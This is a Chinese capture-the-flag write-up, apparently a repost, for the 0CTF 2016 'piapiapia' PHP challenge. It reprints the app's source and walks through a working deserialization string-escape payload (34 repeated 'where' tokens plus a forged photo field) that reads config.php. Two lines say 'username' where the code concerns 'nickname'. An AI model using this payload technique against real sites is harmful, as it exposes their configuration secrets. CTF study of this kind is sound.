飞道的博客

[0CTF 2016]piapiapia

233人阅读  评论(0)

考查知识点:源码泄露,php反序列化字符逃逸,数组进行长度绕过

目录

解题过程

源码泄露

代码审计

大致思路

1. 创建账号,并且登录

2. 更新用户信息

开始拿flag

相关资料


解题过程

源码泄露

www.zip

下载后,得到后端源码

代码审计

class.php中存在许多函数


  
  1. <?php
  2. require( 'config.php'); //class.php是好多个php函数的集合,其他函数通过request函数进行包含即可使用这些函数
  3. class user extends mysql{
  4. private $table = 'users';
  5. public function is_exists($username) {
  6. $username = parent::filter($username);
  7. $where = "username = '$username'";
  8. return parent::select( $this->table, $where);
  9. }
  10. public function register($username, $password) {
  11. $username = parent::filter($username);
  12. $password = parent::filter($password);
  13. $key_list = Array( 'username', 'password');
  14. $value_list = Array($username, md5($password)); //注意这里对md5进行加密,这是个很好的知识点,如果建站的时候,将密码进行md5加密,就算被脱库,仍然有很大的安全性
  15. return parent::insert( $this->table, $key_list, $value_list);
  16. }
  17. public function login($username, $password) {
  18. $username = parent::filter($username);
  19. $password = parent::filter($password);
  20. $where = "username = '$username'";
  21. $object = parent::select( $this->table, $where);
  22. if ($object && $object->password === md5($password)) {
  23. return true;
  24. } else {
  25. return false;
  26. }
  27. }
  28. public function show_profile($username) {
  29. $username = parent::filter($username);
  30. $where = "username = '$username'";
  31. $object = parent::select( $this->table, $where);
  32. return $object->profile;
  33. }
  34. public function update_profile($username, $new_profile) { //对特殊字符进行过滤,存在php反序列化漏洞
  35. $username = parent::filter($username);
  36. $new_profile = parent::filter($new_profile);
  37. $where = "username = '$username'";
  38. return parent::update( $this->table, 'profile', $new_profile, $where);
  39. }
  40. public function __tostring() {
  41. return __class__;
  42. }
  43. }
  44. class mysql {
  45. private $link = null;
  46. public function connect($config) {
  47. $this->link = mysql_connect(
  48. $config[ 'hostname'],
  49. $config[ 'username'],
  50. $config[ 'password']
  51. );
  52. mysql_select_db($config[ 'database']);
  53. mysql_query( "SET sql_mode='strict_all_tables'");
  54. return $this->link;
  55. }
  56. public function select($table, $where, $ret = '*') {
  57. $sql = "SELECT $ret FROM $table WHERE $where";
  58. $result = mysql_query($sql, $this->link);
  59. return mysql_fetch_object($result);
  60. }
  61. public function insert($table, $key_list, $value_list) {
  62. $key = implode( ',', $key_list);
  63. $value = '\'' . implode( '\',\'', $value_list) . '\'';
  64. $sql = "INSERT INTO $table ($key) VALUES ($value)";
  65. return mysql_query($sql);
  66. }
  67. public function update($table, $key, $value, $where) {
  68. $sql = "UPDATE $table SET $key = '$value' WHERE $where";
  69. return mysql_query($sql);
  70. }
  71. public function filter($string) { //存在php反序列化漏洞
  72. $escape = array( '\'', '\\\\');
  73. $escape = '/' . implode( '|', $escape) . '/';
  74. $string = preg_replace($escape, '_', $string);
  75. $safe = array( 'select', 'insert', 'update', 'delete', 'where');
  76. $safe = '/' . implode( '|', $safe) . '/i';
  77. return preg_replace($safe, 'hacker', $string); //where替换为hacker,长度会发生变化
  78. }
  79. public function __tostring() {
  80. return __class__;
  81. }
  82. }
  83. session_start();
  84. $user = new user();
  85. $user->connect($config);

config.php中有flag


  
  1. <?php
  2. $config[ 'hostname'] = '127.0.0.1';
  3. $config[ 'username'] = 'root';
  4. $config[ 'password'] = '';
  5. $config[ 'database'] = '';
  6. $flag = '';
  7. ?>

profile.php中存在文件包含漏洞


  
  1. <?php
  2. require_once( 'class.php');
  3. if($_SESSION[ 'username'] == null) //这个应该是通过session判断是否登录,然后根据这个来判断是回去登录,还是继续运行代码
  4. {
  5. die( 'Login First');
  6. }
  7. $username = $_SESSION[ 'username'];
  8. $profile=$user->show_profile($username);
  9. if($profile == null) {
  10. header( 'Location: update.php');
  11. }
  12. else {
  13. $profile = unserialize($profile);
  14. $phone = $profile[ 'phone'];
  15. $email = $profile[ 'email'];
  16. $nickname = $profile[ 'nickname'];
  17. $photo = base64_encode(file_get_contents($profile[ 'photo']));
  18. ?>

index.php


  
  1. <?php
  2. require_once( 'class.php');
  3. if($_SESSION[ 'username']) {
  4. header( 'Location: profile.php');
  5. exit;
  6. }
  7. if($_POST[ 'username'] && $_POST[ 'password']) {
  8. $username = $_POST[ 'username'];
  9. $password = $_POST[ 'password'];
  10. if(strlen($username) < 3 or strlen($username) > 16)
  11. die( 'Invalid user name');
  12. if(strlen($password) < 3 or strlen($password) > 16)
  13. die( 'Invalid password');
  14. if($user->login($username, $password)) {
  15. $_SESSION[ 'username'] = $username;
  16. header( 'Location: profile.php');
  17. exit;
  18. }
  19. else {
  20. die( 'Invalid user name or password');
  21. }
  22. }
  23. else {
  24. ?>

register.php


  
  1. <?php
  2. require_once( 'class.php');
  3. if($_POST[ 'username'] && $_POST[ 'password']) {
  4. $username = $_POST[ 'username'];
  5. $password = $_POST[ 'password'];
  6. if(strlen($username) < 3 or strlen($username) > 16)
  7. die( 'Invalid user name');
  8. if(strlen($password) < 3 or strlen($password) > 16)
  9. die( 'Invalid password');
  10. if(!$user->is_exists($username)) {
  11. $user->register($username, $password);
  12. echo 'Register OK!<a href="index.php">Please Login</a>';
  13. }
  14. else {
  15. die( 'User name Already Exists');
  16. }
  17. }
  18. else {
  19. ?>

update.php


  
  1. <?php
  2. require_once( 'class.php');
  3. if($_SESSION[ 'username'] == null) {
  4. die( 'Login First');
  5. }
  6. if($_POST[ 'phone'] && $_POST[ 'email'] && $_POST[ 'nickname'] && $_FILES[ 'photo']) {
  7. $username = $_SESSION[ 'username'];
  8. if(!preg_match( '/^\d{11}$/', $_POST[ 'phone'])) //对十一位数字进行匹配
  9. die( 'Invalid phone');
  10. if(!preg_match( '/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST[ 'email'])) //正则匹配,对email进行匹配
  11. die( 'Invalid email');
  12. if(preg_match( '/[^a-zA-Z0-9_]/', $_POST[ 'nickname']) || strlen($_POST[ 'nickname']) > 10) //对昵称长度进行限制
  13. die( 'Invalid nickname');
  14. $file = $_FILES[ 'photo'];
  15. if($file[ 'size'] < 5 or $file[ 'size'] > 1000000) //对图片进行限制
  16. die( 'Photo size error');
  17. move_uploaded_file($file[ 'tmp_name'], 'upload/' . md5($file[ 'name']));
  18. $profile[ 'phone'] = $_POST[ 'phone'];
  19. $profile[ 'email'] = $_POST[ 'email'];
  20. $profile[ 'nickname'] = $_POST[ 'nickname'];
  21. $profile[ 'photo'] = 'upload/' . md5($file[ 'name']);
  22. $user->update_profile($username, serialize($profile));
  23. echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  24. }
  25. else {
  26. ?>

1. class.php存在很多函数,其余文件通过包含class.php进行调用函数。

2. config.php中存在flag

3. index.php和register.php是基本的登录功能和注册功能,不过对输入的数据进行了些匹配或限制罢了

4. update.php可以更新用户数据,将phone,email,nickname,photo四个数值放入$profile数组中,同时进行关键词过滤和序列化操作

5. profile.php中将用户的信息展示出来,值得注意的是,如果$profile['photo']=config.php,那么config.php就会在profile.php中展示出来,flag当然也在其中!!!!

大致思路

首先创建账号register.php——>登录index.php——>更新用户信息update.php——>将得到的config.php进行base64解码profile.php

1. 创建账号,并且登录

2. 更新用户信息

我们的本意是令$profile['photo']=config.php,但是后台对输入的信息进行了md5加密,所以不能直接修改用户信息


  
  1. if(preg_match( '/[^a-zA-Z0-9_]/', $_POST[ 'nickname']) || strlen($_POST[ 'nickname']) > 10) //对昵称长度进行限制
  2. die( 'Invalid nickname');
  3. $file = $_FILES[ 'photo'];
  4. if($file[ 'size'] < 5 or $file[ 'size'] > 1000000) //对图片进行限制
  5. die( 'Photo size error');
  6. move_uploaded_file($file[ 'tmp_name'], 'upload/' . md5($file[ 'name']));
  7. $profile[ 'phone'] = $_POST[ 'phone'];
  8. $profile[ 'email'] = $_POST[ 'email'];
  9. $profile[ 'nickname'] = $_POST[ 'nickname'];
  10. $profile[ 'photo'] = 'upload/' . md5($file[ 'name']);
  11. $user->update_profile($username, serialize($profile));
  12. echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

我们看到后台对$profile进行了序列化操作,并且执行了update_profile()函数,追溯


  
  1. public function update_profile($username, $new_profile) { //对特殊字符进行过滤,存在php反序列化漏洞
  2. $username = parent::filter($username);
  3. $new_profile = parent::filter($new_profile);
  4. $where = "username = '$username'";
  5. return parent::update( $this->table, 'profile', $new_profile, $where);
  6. }

其中含有filter()函数,继续追溯


  
  1. public function filter($string) { //存在php反序列化漏洞
  2. $escape = array( '\'', '\\\\');
  3. $escape = '/' . implode( '|', $escape) . '/';
  4. $string = preg_replace($escape, '_', $string);
  5. $safe = array( 'select', 'insert', 'update', 'delete', 'where');
  6. $safe = '/' . implode( '|', $safe) . '/i';
  7. return preg_replace($safe, 'hacker', $string); //where替换为hacker,长度会发生变化
  8. }

可以看到,更新用户信息之前会对序列化后的字符串中的关键词进行替换,值得注意的是这里关键词where替换为hacker,会导致字符串增加1,这样就需要php反序列化字符逃逸的知识

首先正常情况下,我们用户的信息大致是这样的


  
  1. <?php
  2. $profile[ 'phone'] = "12345678901";
  3. $profile[ 'email'] = "123456@qq.com";
  4. $profile[ 'nickname'] = array( 0=> '123');
  5. $profile[ 'photo'] = 'upload/' . md5( "1.jpg");
  6. print_r($profile);
  7. $a = serialize($profile);
  8. echo $a;

而使用php反序列化字符串逃逸,我们可以利用后台将where替换为hacker的时候制造的字符串长度增加使得nickname中的部分字符串占据photo的位置,并且进行截断,就可以使得photo变为我们想要的值

首先我们需要保持username的字符串长度不大于10,可以使用数组绕过,令username为一个数组即可


  
  1. if(preg_match( '/[^a-zA-Z0-9_]/', $_POST[ 'nickname']) || strlen($_POST[ 'nickname']) > 10) //对昵称长度进行限制
  2. die( 'Invalid nickname');

如下,可以看到,虽然会warning,但是可以执行,并且绕过

正常情况下,序列化后的字符串为

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

但是我们进行php反序列化字符串逃逸的时候,nickname的末尾应该是";}s:5:"photo";s:10:"config.php";},也就是

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

但是这样造成不了截断,因为nickname的长度不一致,反序列化时还是会在原来的位置进行截断

所以需要where替换为hacker,造成字符串长度增加

string(34) "";}s:5:"photo";s:10:"config.php";}"

我们需要的时34个字符长度,而每一个where替换为hacker都会增加一个字符长度,所以需要34个where被替换

构造payload:


  
  1. <?php
  2. function filter($string) { //存在php反序列化漏洞
  3. $escape = array( '\'', '\\\\');
  4. $escape = '/' . implode( '|', $escape) . '/';
  5. $string = preg_replace($escape, '_', $string);
  6. $safe = array( 'select', 'insert', 'update', 'delete', 'where');
  7. $safe = '/' . implode( '|', $safe) . '/i';
  8. return preg_replace($safe, 'hacker', $string); //where替换为hacker,长度会发生变化
  9. }
  10. $profile[ 'phone'] = "12345678901";
  11. $profile[ 'email'] = "123456@qq.com";
  12. $profile[ 'nickname'] = array( 0=> 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
  13. $profile[ 'photo'] = 'upload/' . md5( "1.jpg");
  14. print_r($profile);
  15. $a = serialize($profile);
  16. echo $a;
  17. $b = filter($a);
  18. echo $b;
  19. print_r(unserialize($b));

结果如下,可以看到,生效,$profile['photo']=config.php


  
  1. Array
  2. (
  3. [phone] => 12345678901
  4. [email] => 123456@qq.com
  5. [nickname] => Array
  6. (
  7. [ 0] => wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ";}s:5:"photo ";s:10:"config.php ";}
  8. )
  9. [photo] => upload/f3ccdd27d2000e3f9255a7e3e2c48800
  10. )
  11. Array
  12. (
  13. [phone] => 12345678901
  14. [email] => 123456@qq.com
  15. [nickname] => Array
  16. (
  17. [0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
  18. )
  19. [photo] => config.php
  20. )

开始拿flag

在更新用户的界面,burpsuite进行抓包

修改信息,将username修改为数组username[],并将username[]的信息修改为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

回显,修改信息成功,查看profile.php

将base64编码的字符串进行解码操作,得到flag


相关资料

1. PHP反序列化字符逃逸详解


转载:https://blog.csdn.net/RABCDXB/article/details/115471518
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场